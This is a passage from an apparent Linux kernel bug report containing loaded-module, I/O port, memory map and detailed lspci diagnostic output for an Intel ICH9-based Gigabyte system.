0xffffffffa0439000 > ehci_hcd 28622 1 ehci_pci, Live 0xffffffffa03ec000 > usbcore 114462 3 uhci_hcd,ehci_pci,ehci_hcd, Live 0xffffffffa029c000 > processor 26295 1 acpi_cpufreq, Live 0xffffffffa025b000 > usb_common 1456 1 usbcore, Live 0xffffffffa023b000 > thermal_sys 16544 1 processor, Live 0xffffffffa021f000 > button 4325 0 - Live 0xffffffffa0209000 > lpc_ich 12493 0 - Live 0xffffffffa0200000 > mfd_core 2449 1 lpc_ich, Live 0xffffffffa01fc000 > hwmon 1209 3 it87,coretemp,thermal_sys, Live 0xffffffffa01ec000 > xts 2810 2 - Live 0xffffffffa01e8000 > gf128mul 5439 1 xts, Live 0xffffffffa01e3000 > r8169 46315 0 - Live 0xffffffffa01b2000 > mii 3323 1 r8169, Live 0xffffffffa01ae000 > ahci 21466 18 - Live 0xffffffffa01a2000 > libahci 17494 1 ahci, Live 0xffffffffa0198000 > xfs 551617 3 - Live 0xffffffffa00f7000 > crc32c 1496 1 - Live 0xffffffffa00f3000 > libcrc32c 906 1 xfs, Live 0xffffffffa00ef000 > libata 135748 2 ahci,libahci, Live 0xffffffffa00bc000 > sd_mod 26438 24 - Live 0xffffffffa00b0000 > scsi_mod 114146 2 libata,sd_mod, Live 0xffffffffa0086000 > raid10 34865 1 - Live 0xffffffffa0079000 > raid456 48004 1 - Live 0xffffffffa0068000 > async_memcpy 822 1 raid456, Live 0xffffffffa0064000 > async_pq 1932 1 raid456, Live 0xffffffffa0060000 > async_xor 1257 2 raid456,async_pq, Live 0xffffffffa005c000 > xor 9881 1 async_xor, Live 0xffffffffa0056000 > async_raid6_recov 1169 1 raid456, Live 0xffffffffa0052000 > async_tx 1233 5 raid456,async_memcpy,async_pq,async_xor,async_raid6_recov, Live 0xffffffffa004e000 > raid6_pq 89031 2 async_pq,async_raid6_recov, Live 0xffffffffa0034000 > md_mod 88068 5 raid1,raid10,raid456, Live 0xffffffffa0015000 > dm_crypt 12857 2 - Live 0xffffffffa000d000 > cbc 2432 0 - Live 0xffffffffa0009000 > aes_x86_64 7223 4 - Live 0xffffffffa0004000 > pcrypt 4018 0 - Live 0xffffffffa0000000 > > REPORTING-BUGS 8.4: Loaded driver and hardware information (/proc/ioports, /proc/iomem) > 0000-0cf7 : PCI Bus 0000:00 > 0000-001f : dma1 > 0020-0021 : pic1 > 0040-0043 : timer0 > 0050-0053 : timer1 > 0060-0060 : keyboard > 0064-0064 : keyboard > 0080-008f : dma page reg > 00a0-00a1 : pic2 > 00c0-00df : dma2 > 00f0-00ff : fpu > 0290-029f : pnp 00:00 > 0290-0294 : pnp 00:00 > 0295-0296 : it87 > 0295-0296 : it87 > 03c0-03df : vga+ > 03f8-03ff : serial > 0400-047f : 0000:00:1f.0 > 0400-0403 : ACPI PM1a_EVT_BLK > 0404-0405 : ACPI PM1a_CNT_BLK > 0408-040b : ACPI PM_TMR > 0410-0415 : ACPI CPU throttle > 0420-042f : ACPI GPE0_BLK > 0430-0433 : iTCO_wdt > 0460-047f : iTCO_wdt > 0480-04bf : gpio_ich > 0480-04bf : 0000:00:1f.0 > 04d0-04d1 : pnp 00:00 > 0500-051f : 0000:00:1f.3 > 0500-051f : i801_smbus > 0800-087f : pnp 00:00 > 0880-088f : pnp 00:00 > 0cf8-0cff : PCI conf1 > 0d00-ffff : PCI Bus 0000:00 > a000-afff : PCI Bus 0000:01 > b000-bfff : PCI Bus 0000:02 > b000-b007 : 0000:02:00.1 > b100-b103 : 0000:02:00.1 > b200-b207 : 0000:02:00.1 > b300-b303 : 0000:02:00.1 > b400-b40f : 0000:02:00.1 > c000-cfff : PCI Bus 0000:03 > c000-c0ff : 0000:03:00.0 > c000-c0ff : r8169 > d000-dfff : PCI Bus 0000:04 > d000-d0ff : 0000:04:00.0 > e000-e01f : 0000:00:1a.0 > e000-e01f : uhci_hcd > e100-e11f : 0000:00:1a.1 > e100-e11f : uhci_hcd > e200-e21f : 0000:00:1d.0 > e200-e21f : uhci_hcd > e300-e31f : 0000:00:1d.1 > e300-e31f : uhci_hcd > e400-e41f : 0000:00:1d.2 > e400-e41f : uhci_hcd > e500-e51f : 0000:00:1a.2 > e500-e51f : uhci_hcd > e600-e607 : 0000:00:1f.2 > e600-e607 : ahci > e700-e703 : 0000:00:1f.2 > e700-e703 : ahci > e800-e807 : 0000:00:1f.2 > e800-e807 : ahci > e900-e903 : 0000:00:1f.2 > e900-e903 : ahci > ea00-ea1f : 0000:00:1f.2 > ea00-ea1f : ahci > > 00000100-00000fff : reserved > 00001000-0009dbff : System RAM > 0009dc00-0009f7ff : RAM buffer > 0009f800-0009ffff : reserved > 000a0000-000bffff : PCI Bus 0000:00 > 000c0000-000dffff : PCI Bus 0000:00 > 000c0000-000c7fff : Video ROM > 000c8000-000c8fff : Adapter ROM > 000f0000-000fffff : reserved > 000f0000-000fffff : System ROM > 00100000-f3edffff : System RAM > f3ee0000-f3ee2fff : ACPI Non-volatile Storage > f3ee3000-f3eeffff : ACPI Tables > f3ef0000-f3efffff : reserved > f3f00000-febfffff : PCI Bus 0000:00 > f4000000-f7ffffff : PCI MMCONFIG 0000 [bus 00-3f] > f4000000-f7ffffff : reserved > f4000000-f7ffffff : pnp 00:0a > f8000000-f9ffffff : PCI Bus 0000:03 > f9000000-f9000fff : 0000:03:00.0 > f9000000-f9000fff : r8169 > fa000000-fbffffff : PCI Bus 0000:04 > fa000000-faffffff : 0000:04:00.0 > fc000000-fc0fffff : PCI Bus 0000:02 > fc000000-fc001fff : 0000:02:00.0 > fc000000-fc001fff : ahci > fc100000-fc1003ff : 0000:00:1d.7 > fc100000-fc1003ff : ehci_hcd > fc101000-fc1013ff : 0000:00:1a.7 > fc101000-fc1013ff : ehci_hcd > fc102000-fc1027ff : 0000:00:1f.2 > fc102000-fc1027ff : ahci > fc103000-fc1030ff : 0000:00:1f.3 > fc200000-fc3fffff : PCI Bus 0000:01 > fc400000-fc5fffff : PCI Bus 0000:01 > fc600000-fc7fffff : PCI Bus 0000:02 > fc800000-fcafffff : PCI Bus 0000:03 > fc800000-fc80ffff : 0000:03:00.0 > fd000000-fdffffff : PCI Bus 0000:04 > fd000000-fdffffff : 0000:04:00.0 > fec00000-ffffffff : reserved > fec00000-fec003ff : IOAPIC 0 > fed00000-fed003ff : HPET 0 > fed10000-fed1dfff : pnp 00:0b > fed1f410-fed1f414 : iTCO_wdt > fed20000-fed8ffff : pnp 00:0b > fee00000-fee00fff : Local APIC > fee00000-fee00fff : pnp 00:0b > ffb00000-ffb7ffff : pnp 00:0b > fff00000-ffffffff : pnp 00:0b > 100000000-10bffffff : System RAM > 10b000000-10b26cc26 : Kernel code > 10b26cc27-10b3bd47f : Kernel data > 10b46f000-10b4fdfff : Kernel bss > > REPORTING-BUGS 8.5: PCI information ('lspci -vvv' as root) > 00:00.0 Host bridge: Intel Corporation 82G33/G31/P35/P31 Express DRAM Controller (rev 02) > Subsystem: Giga-byte Technology Device 5000 > Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=fast >TAbort- SERR- Latency: 0 > Capabilities: [e0] Vendor Specific Information: Len=0b > > 00:1a.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #4 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Giga-byte Technology Device 5004 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin A routed to IRQ 16 > Region 4: I/O ports at e000 [size=32] > Capabilities: [50] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: uhci_hcd > Kernel modules: uhci_hcd > > 00:1a.1 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #5 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Giga-byte Technology Device 5004 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin B routed to IRQ 21 > Region 4: I/O ports at e100 [size=32] > Capabilities: [50] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: uhci_hcd > Kernel modules: uhci_hcd > > 00:1a.2 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #6 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Giga-byte Technology Device 5004 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin C routed to IRQ 18 > Region 4: I/O ports at e500 [size=32] > Capabilities: [50] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: uhci_hcd > Kernel modules: uhci_hcd > > 00:1a.7 USB controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #2 (rev 02) (prog-if 20 [EHCI]) > Subsystem: Giga-byte Technology Device 5006 > Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin C routed to IRQ 18 > Region 0: Memory at fc101000 (32-bit, non-prefetchable) [size=1K] > Capabilities: [50] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Kernel driver in use: ehci-pci > Kernel modules: ehci_pci > > 00:1c.0 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 1 (rev 02) (prog-if 00 [Normal decode]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Latency: 0, Cache Line Size: 32 bytes > Bus: primary=00, secondary=01, subordinate=01, sec-latency=0 > I/O behind bridge: 0000a000-0000afff > Memory behind bridge: fc200000-fc3fffff > Prefetchable memory behind bridge: 00000000fc400000-00000000fc5fffff > Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B- > PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- > Capabilities: [40] Express (v1) Root Port (Slot+), MSI 00 > DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us > ExtTag- RBE+ FLReset- > DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- > RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- > MaxPayload 128 bytes, MaxReadReq 128 bytes > DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- > LnkCap: Port #1, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 <1us, L1 <4us > ClockPM- Surprise- LLActRep+ BwNot- > LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk- > ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- > LnkSta: Speed 2.5GT/s, Width x0, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- > SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ > Slot #16, PowerLimit 10.000W; Interlock- NoCompl- > SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- > Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- > SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet- Interlock- > Changed: MRL- PresDet- LinkState- > RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- > RootCap: CRSVisible- > RootSta: PME ReqID 0000, PMEStatus- PMEPending- > Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- > Address: fee0f00c Data: 41a1 > Capabilities: [90] Subsystem: Giga-byte Technology Device 5001 > Capabilities: [a0] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Capabilities: [100 v1] Virtual Channel > Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 > Arb: Fixed+ WRR32- WRR64- WRR128- > Ctrl: ArbSelect=Fixed > Status: InProgress- > VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- > Arb: Fixed+ WRR32- WRR64- WRR128- TWRR128- WRR256- > Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 > Status: NegoPending- InProgress- > Capabilities: [180 v1] Root Complex Link > Desc: PortNumber=01 ComponentID=02 EltType=Config > Link0: Desc: TargetPort=00 TargetComponent=02 AssocRCRB- LinkType=MemMapped LinkValid+ > Addr: 00000000fed1c000 > Kernel driver in use: pcieport > > 00:1c.4 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 5 (rev 02) (prog-if 00 [Normal decode]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Latency: 0, Cache Line Size: 32 bytes > Bus: primary=00, secondary=02, subordinate=02, sec-latency=0 > I/O behind bridge: 0000b000-0000bfff > Memory behind bridge: fc000000-fc0fffff > Prefetchable memory behind bridge: 00000000fc600000-00000000fc7fffff > Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B- > PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- > Capabilities: [40] Express (v1) Root Port (Slot+), MSI 00 > DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us > ExtTag- RBE+ FLReset- > DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- > RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- > MaxPayload 128 bytes, MaxReadReq 128 bytes > DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- > LnkCap: Port #5, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 <256ns, L1 <4us > ClockPM- Surprise- LLActRep+ BwNot- > LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk+ > ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- > LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive+ BWMgmt- ABWMgmt- > SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ > Slot #20, PowerLimit 10.000W; Interlock- NoCompl- > SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- > Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- > SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- > Changed: MRL- PresDet+ LinkState+ > RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- > RootCap: CRSVisible- > RootSta: PME ReqID 0000, PMEStatus- PMEPending- > Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- > Address: fee0f00c Data: 41b1 > Capabilities: [90] Subsystem: Giga-byte Technology Device 5001 > Capabilities: [a0] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Capabilities: [100 v1] Virtual Channel > Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 > Arb: Fixed+ WRR32- WRR64- WRR128- > Ctrl: ArbSelect=Fixed > Status: InProgress- > VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- > Arb: Fixed+ WRR32- WRR64- WRR128- TWRR128- WRR256- > Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 > Status: NegoPending- InProgress- > Capabilities: [180 v1] Root Complex Link > Desc: PortNumber=05 ComponentID=02 EltType=Config > Link0: Desc: TargetPort=00 TargetComponent=02 AssocRCRB- LinkType=MemMapped LinkValid+ > Addr: 00000000fed1c000 > Kernel driver in use: pcieport > > 00:1c.5 PCI bridge: Intel Corporation 82801I (ICH9 Family) PCI Express Port 6 (rev 02) (prog-if 00 [Normal decode]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Latency: 0, Cache Line Size: 32 bytes > Bus: primary=00, secondary=03, subordinate=03, sec-latency=0 > I/O behind bridge: 0000c000-0000cfff > Memory behind bridge: f8000000-f9ffffff > Prefetchable memory behind bridge: 00000000fc800000-00000000fcafffff > Secondary status: 66MHz- FastB2B- ParErr- DEVSEL=fast >TAbort- BridgeCtl: Parity- SERR- NoISA- VGA- MAbort- >Reset- FastB2B- > PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- > Capabilities: [40] Express (v1) Root Port (Slot+), MSI 00 > DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us > ExtTag- RBE+ FLReset- > DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- > RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- > MaxPayload 128 bytes, MaxReadReq 128 bytes > DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq- AuxPwr+ TransPend- > LnkCap: Port #6, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 <256ns, L1 <4us > ClockPM- Surprise- LLActRep+ BwNot- > LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk+ > ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- > LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive+ BWMgmt- ABWMgmt- > SltCap: AttnBtn- PwrCtrl- MRL- AttnInd- PwrInd- HotPlug+ Surprise+ > Slot #21, PowerLimit 10.000W; Interlock- NoCompl- > SltCtl: Enable: AttnBtn- PwrFlt- MRL- PresDet- CmdCplt- HPIrq- LinkChg- > Control: AttnInd Unknown, PwrInd Unknown, Power- Interlock- > SltSta: Status: AttnBtn- PowerFlt- MRL- CmdCplt- PresDet+ Interlock- > Changed: MRL- PresDet+ LinkState+ > RootCtl: ErrCorrectable- ErrNon-Fatal- ErrFatal- PMEIntEna- CRSVisible- > RootCap: CRSVisible- > RootSta: PME ReqID 0000, PMEStatus- PMEPending- > Capabilities: [80] MSI: Enable+ Count=1/1 Maskable- 64bit- > Address: fee0f00c Data: 41c1 > Capabilities: [90] Subsystem: Giga-byte Technology Device 5001 > Capabilities: [a0] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0+,D1-,D2-,D3hot+,D3cold+) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Capabilities: [100 v1] Virtual Channel > Caps: LPEVC=0 RefClk=100ns PATEntryBits=1 > Arb: Fixed+ WRR32- WRR64- WRR128- > Ctrl: ArbSelect=Fixed > Status: InProgress- > VC0: Caps: PATOffset=00 MaxTimeSlots=1 RejSnoopTrans- > Arb: Fixed+ WRR32- WRR64- WRR128- TWRR128- WRR256- > Ctrl: Enable+ ID=0 ArbSelect=Fixed TC/VC=01 > Status: NegoPending- InProgress- > Capabilities: [180 v1] Root Complex Link > Desc: PortNumber=06 ComponentID=02 EltType=Config > Link0: Desc: TargetPort=00 TargetComponent=02 AssocRCRB- LinkType=MemMapped LinkValid+ > Addr: 00000000fed1c000 > Kernel driver in use: pcieport > > 00:1d.0 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #1 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Giga-byte Technology Device 5004 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin A routed to IRQ 23 > Region 4: I/O ports at e200 [size=32] > Capabilities: [50] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: uhci_hcd > Kernel modules: uhci_hcd > > 00:1d.1 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #2 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Giga-byte Technology Device 5004 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin B routed to IRQ 19 > Region 4: I/O ports at e300 [size=32] > Capabilities: [50] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: uhci_hcd > Kernel modules: uhci_hcd > > 00:1d.2 USB controller: Intel Corporation 82801I (ICH9 Family) USB UHCI Controller #3 (rev 02) (prog-if 00 [UHCI]) > Subsystem: Giga-byte Technology Device 5004 > Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin C routed to IRQ 18 > Region 4: I/O ports at e400 [size=32] > Capabilities: [50] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: uhci_hcd > Kernel modules: uhci_hcd > > 00:1d.7 USB controller: Intel Corporation 82801I (ICH9 Family) USB2 EHCI Controller #1 (rev 02) (prog-if 20 [EHCI]) > Subsystem: Giga-byte Technology Device 5006 > Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin A routed to IRQ 23 > Region 0: Memory at fc100000 (32-bit, non-prefetchable) [size=1K] > Capabilities: [50] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Kernel driver in use: ehci-pci > Kernel modules: ehci_pci > > 00:1e.0 PCI bridge: Intel Corporation 82801 PCI Bridge (rev 92) (prog-if 01 [Subtractive decode]) > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Latency: 0 > Bus: primary=00, secondary=04, subordinate=04, sec-latency=32 > I/O behind bridge: 0000d000-0000dfff > Memory behind bridge: fa000000-fbffffff > Prefetchable memory behind bridge: 00000000fd000000-00000000fdffffff > Secondary status: 66MHz- FastB2B+ ParErr- DEVSEL=medium >TAbort- BridgeCtl: Parity- SERR- NoISA- VGA+ MAbort- >Reset- FastB2B- > PriDiscTmr- SecDiscTmr- DiscTmrStat- DiscTmrSERREn- > Capabilities: [50] Subsystem: Giga-byte Technology Motherboard > > 00:1f.0 ISA bridge: Intel Corporation 82801IR (ICH9R) LPC Interface Controller (rev 02) > Subsystem: Giga-byte Technology Device 5001 > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR+ FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Capabilities: [e0] Vendor Specific Information: Len=0c > Kernel driver in use: lpc_ich > Kernel modules: lpc_ich > > 00:1f.2 SATA controller: Intel Corporation 82801IR/IO/IH (ICH9R/DO/DH) 6 port SATA Controller [AHCI mode] (rev 02) (prog-if 01 [AHCI 1.0]) > Subsystem: Giga-byte Technology Device b005 > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ > Status: Cap+ 66MHz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Latency: 0 > Interrupt: pin B routed to IRQ 43 > Region 0: I/O ports at e600 [size=8] > Region 1: I/O ports at e700 [size=4] > Region 2: I/O ports at e800 [size=8] > Region 3: I/O ports at e900 [size=4] > Region 4: I/O ports at ea00 [size=32] > Region 5: Memory at fc102000 (32-bit, non-prefetchable) [size=2K] > Capabilities: [80] MSI: Enable+ Count=1/16 Maskable- 64bit- > Address: fee0f00c Data: 41d1 > Capabilities: [70] Power Management version 3 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot+,D3cold-) > Status: D0 NoSoftRst+ PME-Enable- DSel=0 DScale=0 PME- > Capabilities: [a8] SATA HBA v1.0 BAR4 Offset=00000004 > Capabilities: [b0] PCI Advanced Features > AFCap: TP+ FLR+ > AFCtrl: FLR- > AFStatus: TP- > Kernel driver in use: ahci > Kernel modules: ahci > > 00:1f.3 SMBus: Intel Corporation 82801I (ICH9 Family) SMBus Controller (rev 02) > Subsystem: Giga-byte Technology Device 5001 > Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap- 66MHz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- Interrupt: pin C routed to IRQ 18 > Region 0: Memory at fc103000 (64-bit, non-prefetchable) [size=256] > Region 4: I/O ports at 0500 [size=32] > Kernel driver in use: i801_smbus > Kernel modules: i2c_i801 > > 02:00.0 SATA controller: JMicron Technology Corp. JMB363 SATA/IDE Controller (rev 02) (prog-if 01 [AHCI 1.0]) > Subsystem: Giga-byte Technology Motherboard > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Latency: 0, Cache Line Size: 32 bytes > Interrupt: pin A routed to IRQ 16 > Region 5: Memory at fc000000 (32-bit, non-prefetchable) [size=8K] > Capabilities: [68] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot+,D3cold-) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > Capabilities: [50] Express (v1) Legacy Endpoint, MSI 01 > DevCap: MaxPayload 128 bytes, PhantFunc 0, Latency L0s <64ns, L1 <1us > ExtTag- AttnBtn- AttnInd- PwrInd- RBE- FLReset- > DevCtl: Report errors: Correctable- Non-Fatal- Fatal- Unsupported- > RlxdOrd- ExtTag- PhantFunc- AuxPwr- NoSnoop- > MaxPayload 128 bytes, MaxReadReq 512 bytes > DevSta: CorrErr- UncorrErr- FatalErr- UnsuppReq+ AuxPwr- TransPend- > LnkCap: Port #1, Speed 2.5GT/s, Width x1, ASPM L0s, Latency L0 unlimited, L1 unlimited > ClockPM- Surprise- LLActRep- BwNot- > LnkCtl: ASPM Disabled; RCB 64 bytes Disabled- Retrain- CommClk- > ExtSynch- ClockPM- AutWidDis- BWInt- AutBWInt- > LnkSta: Speed 2.5GT/s, Width x1, TrErr- Train- SlotClk+ DLActive- BWMgmt- ABWMgmt- > Kernel driver in use: ahci > Kernel modules: ahci > > 02:00.1 IDE interface: JMicron Technology Corp. JMB363 SATA/IDE Controller (rev 02) (prog-if 85 [Master SecO PriO]) > Subsystem: Giga-byte Technology Motherboard > Control: I/O+ Mem+ BusMaster- SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx- > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- DEVSEL=fast >TAbort- SERR- Interrupt: pin B routed to IRQ 15 > Region 0: I/O ports at b000 [size=8] > Region 1: I/O ports at b100 [size=4] > Region 2: I/O ports at b200 [size=8] > Region 3: I/O ports at b300 [size=4] > Region 4: I/O ports at b400 [size=16] > Capabilities: [68] Power Management version 2 > Flags: PMEClk- DSI- D1- D2- AuxCurrent=0mA PME(D0-,D1-,D2-,D3hot-,D3cold-) > Status: D0 NoSoftRst- PME-Enable- DSel=0 DScale=0 PME- > > 03:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168 PCI Express Gigabit Ethernet controller (rev 01) > Subsystem: Giga-byte Technology Motherboard > Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- DisINTx+ > Status: Cap+ 66MHz- UDF- FastB2B- ParErr- 